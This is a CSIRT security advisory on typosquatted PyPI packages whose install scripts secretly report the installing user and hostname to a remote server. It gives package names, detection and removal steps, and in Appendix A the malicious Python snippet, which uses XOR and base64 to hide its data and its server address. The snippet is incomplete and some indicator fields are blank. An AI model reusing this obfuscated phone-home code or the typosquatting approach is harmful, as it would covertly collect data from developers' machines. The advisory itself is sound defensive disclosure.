SK-CSIRT advisory

Advisory ID: skcsirt-sa-20170909-pypi-malicious-code
First published: 2017-09-09 22:00
Version: 1.1
CVE: none
Affected platforms: Python (all versions on any OS incl. Windows, Linux, Mac OS)

Severity: Medium (fake software packages, code execution of benign malware)

== Summary ==

SK-CSIRT identified malicious software libraries in the official Python package
repository, PyPI, posing as well known libraries. A prominent example is a fake
package urllib-1.21.1.tar.gz, based upon a well known package

Such packages may have been downloaded by unwitting developer or administrator
by various means, including the popular “pip” utility (pip install urllib).
There is evidence that the fake packages have indeed been downloaded and
incorporated into software multiple times between June 2017 and September 2017.

== Description ==

Copies of several well known Python packages were published under slightly
modified names in the official Python package repository PyPI (prominent
example includes urllib vs. urrlib3, bzip vs. bzip2, etc.). These packages
contain the exact same code as their upstream package thus their functionality
is the same, but the installation script,, is modified to include a
malicious (but relatively benign) code.

List of fake package names:
– acqusition (uploaded 2017-06-03 01:58:01, impersonates acquisition)
– apidev-coop (uploaded 2017-06-03 05:16:08, impersonates apidev-coop_cms)
– bzip (uploaded 2017-06-04 07:08:05, impersonates bz2file)
– crypt (uploaded 2017-06-03 08:03:14, impersonates crypto)
– django-server (uploaded 2017-06-02 08:22:23, impersonates django-server-guardian-api)
– pwd (uploaded 2017-06-02 13:12:33, impersonates pwdhash)
– setup-tools (uploaded 2017-06-02 08:54:44, impersonates setuptools)
– telnet (uploaded 2017-06-02 15:35:05, impersonates telnetsrvlib)
– urlib3 (uploaded 2017-06-02 07:09:29, impersonates urllib3)
– urllib (uploaded 2017-06-02 07:03:37, impersonates urllib3)

The malicious code added to the fake package is executed as soon as the
developer or system administrator installs the package (which is often done
with administrator privileges).

The executed code in identified samples is only used to report the following
information, using a HTTP request to a remote server at :
– name and version of the fake package
– user name of the user who installs the package
– hostname

The clear text data may look like this:
Y:urllib-1.21.1 admin testmachine

The data is obfuscated using XOR with a hard-coded password, and base64
encoded. The server address and port are obfuscated in the code, too.

There is evidence that fake packages have been downloaded and incorporated into
software multiple times between June 2017 and September 2017. The coding style
of the added code snipplet (see Appendix A) makes it incompatible with Python
3.x. Troubles installing the packages on Python 3.x were reported on the
Internet multiple times, but to our knowledge, never identified as a security

Success of the attack relies on negligence of the developer, or system
administrator, who does not check the name of the package thoroughly. The
attack is made easier by “pip” tool not requiring the cryptographic signature
and executing arbitrary code during package installation, which is a well
documented bug/feature. It is also easy to publish any arbitrary Python code to
the PyPI repository, which does not have and quality assurance or code review

== Actions taken ==

We have contacted the administrators of PyPI repository, and all identified
packages were taken down immediately.

However, this does not remove fake packages from the servers where they have
already been installed.

== Recomendations ==

1) Remove all unintentionally installed fake packages.

To check whether the packages are installed on system, execute the following

pip list --format=legacy | egrep '^(acqusition|apidev-coop|bzip|crypt|django-server|pwd|setup-tools|telnet|urlib3|urllib) '

If the command displays at least one package, remove it by either using

pip uninstall <package>

or by removing it from the system directory firectly. The latter option
provides a bit more safety by not running any potential malicious code in the
process of removal.

Install the proper package instead.

2) Safer Python development

Take great care when installing a Python package with pip, because it executes
code downloaded from the Internet. Especially, take great care when installing
unknown or untrusted package from PyPI, because these packages are not subject
to code review.

3) Existing source code

As the class names remained the same, there is no need to modify the source
code, which used the fake packages. As soon as proper package is installed, the
code should continue working as expected.

== Indicators of compromise ==

– connections to TCP port 8080 (contact with IP address suggests
someone from your network have installed the fake package.)

– MD5:

– URL:

– installed packages containing one of the names in the list above (see
Description and Recomendations)

== Appendix A: malicious code snipplet ==

The malicious code in identified samples is as follows:

       import os
       import pwd
       import socket
       import base64
       soft = os.getcwd().split('/')[-1]
       u = pwd.getpwuid(os.getuid()).pw_name
       hname = socket.gethostname()
       rawd = 'Y:%s %s %s'%(soft, u, hname)
       encd = '';t=[0x76,0x21,0xfe,0xcc,0xee];
       for i in xrange(len(rawd)):
               encd += chr(ord(rawd[i]) ^ t[i%len(t)])
       p = ('G' + 'E' + 'T /%s ' + 'H' + 'T' + 'T' + 'P/1.1\r\n')%(base64.b64encode(encd)) + '\r\n'*2
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       rip = 'M' + 'TIxL' + 'jQyL' + 'jIx' + 'N' + 'y4' + '0NA' + '=='
       s.connect((base64.b64decode(rip), 017620))
except Exception,e:
       # Welcome Here! :)
       # just toy, no harm :)

Dátum prvého uverejnenia , posledná aktualizácia